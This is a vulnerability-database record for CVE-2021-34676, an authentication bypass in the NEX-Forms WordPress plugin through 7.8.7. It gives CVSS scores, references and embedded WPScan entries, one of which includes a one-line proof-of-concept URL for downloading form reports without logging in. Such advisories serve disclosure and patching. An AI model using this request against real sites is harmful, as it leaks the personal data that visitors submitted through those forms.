Description
Basix NEX-Forms through 7.8.7 allows authentication bypass for Excel report generation.
Affected Software
Related
{"id": "CVE-2021-34676", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-34676", "description": "Basix NEX-Forms through 7.8.7 allows authentication bypass for Excel report generation.", "published": "2021-07-19T17:15:00", "modified": "2021-07-29T14:27:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0}, "severity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-34676", "reporter": "cve@mitre.org", "references": ["https://github.com/rauschecker/CVEs/tree/main/CVE-2021-34676", "http://basixonline.net/nex-forms-wordpress-form-builder-demo/change-log/"], "cvelist": ["CVE-2021-34676"], "immutableFields": [], "lastseen": "2022-03-23T18:44:45", "viewCount": 22, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F"]}], "rev": 4}, "score": {"value": 3.2, "vector": "NONE"}, "twitter": {"counter": 5, "modified": "2021-07-20T07:49:23", "tweets": [{"link": "https://twitter.com/WolfgangSesin/status/1420792559589281794", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-34676 (nex-forms)) has been published on https://t.co/NIJkuimosX?amp=1"}, {"link": "https://twitter.com/threatintelctr/status/1420753597256536064", "text": " NEW: CVE-2021-34676 Basix NEX-Forms through 7.8.7 allows authentication bypass for Excel report generation. Severity: HIGH https://t.co/qiaDQf4u0j?amp=1"}, {"link": "https://twitter.com/www_sesin_at/status/1420792562034614281", "text": "New post from https://t.co/9KYxtdZjkl?amp=1 (CVE-2021-34676 (nex-forms)) has been published on https://t.co/hS0VuLib96?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1418791894088310787", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-34676) has been published on https://t.co/DctoF6YkdJ?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1418791894088310787", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-34676) has been published on https://t.co/DctoF6YkdJ?amp=1"}]}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F"]}]}, "exploitation": null, "vulnersScore": 3.2}, "_state": {"dependencies": 1659909890, "score": 1659846169}, "_internal": {"score_hash": "109f5aa7e6922f4e7c07420fdde67b8b"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:basixonline:nex-forms:7.8.7"], "cpe23": ["cpe:2.3:a:basixonline:nex-forms:7.8.7:*:*:*:*:*:*:*"], "cwe": ["CWE-287"], "affectedSoftware": [{"cpeName": "basixonline:nex-forms", "version": "7.8.7", "operator": "le", "name": "basixonline nex-forms"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:basixonline:nex-forms:7.8.7:*:*:*:*:*:*:*", "versionEndIncluding": "7.8.7", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://github.com/rauschecker/CVEs/tree/main/CVE-2021-34676", "name": "https://github.com/rauschecker/CVEs/tree/main/CVE-2021-34676", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "http://basixonline.net/nex-forms-wordpress-form-builder-demo/change-log/", "name": "http://basixonline.net/nex-forms-wordpress-form-builder-demo/change-log/", "refsource": "MISC", "tags": ["Release Notes", "Vendor Advisory"]}]}
{"wpexploit": [{"lastseen": "2021-09-14T23:27:55", "description": "The plugin was vulnerable to Authentication Bypass for Excel Reports allowing unauthenticated attackers to download Excel reports.\n", "cvss3": {}, "published": "2021-07-20T00:00:00", "type": "wpexploit", "title": "NEX Forms < 7.8.8 - Authentication Bypass for Excel Reports", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-34676"], "modified": "2021-07-20T10:30:59", "id": "WPEX-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F", "href": "", "sourceData": "http://www.example.com/wp-admin/admin.php?page=nex-forms-dashboard&export_csv=true", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "wpvulndb": [{"lastseen": "2021-09-14T23:27:55", "description": "The plugin was vulnerable to Authentication Bypass for Excel Reports allowing unauthenticated attackers to download Excel reports.\n\n### PoC\n\nhttp://www.example.com/wp-admin/admin.php?page=nex-forms-dashboard&export;_csv=true\n", "cvss3": {}, "published": "2021-07-20T00:00:00", "type": "wpvulndb", "title": "NEX Forms < 7.8.8 - Authentication Bypass for Excel Reports", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-34676"], "modified": "2021-07-20T10:30:59", "id": "WPVDB-ID:D7E6BF88-1912-42E3-8139-9A606ED2989F", "href": "https://wpscan.com/vulnerability/d7e6bf88-1912-42e3-8139-9a606ed2989f", "sourceData": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}]}
CVE-2021-34676
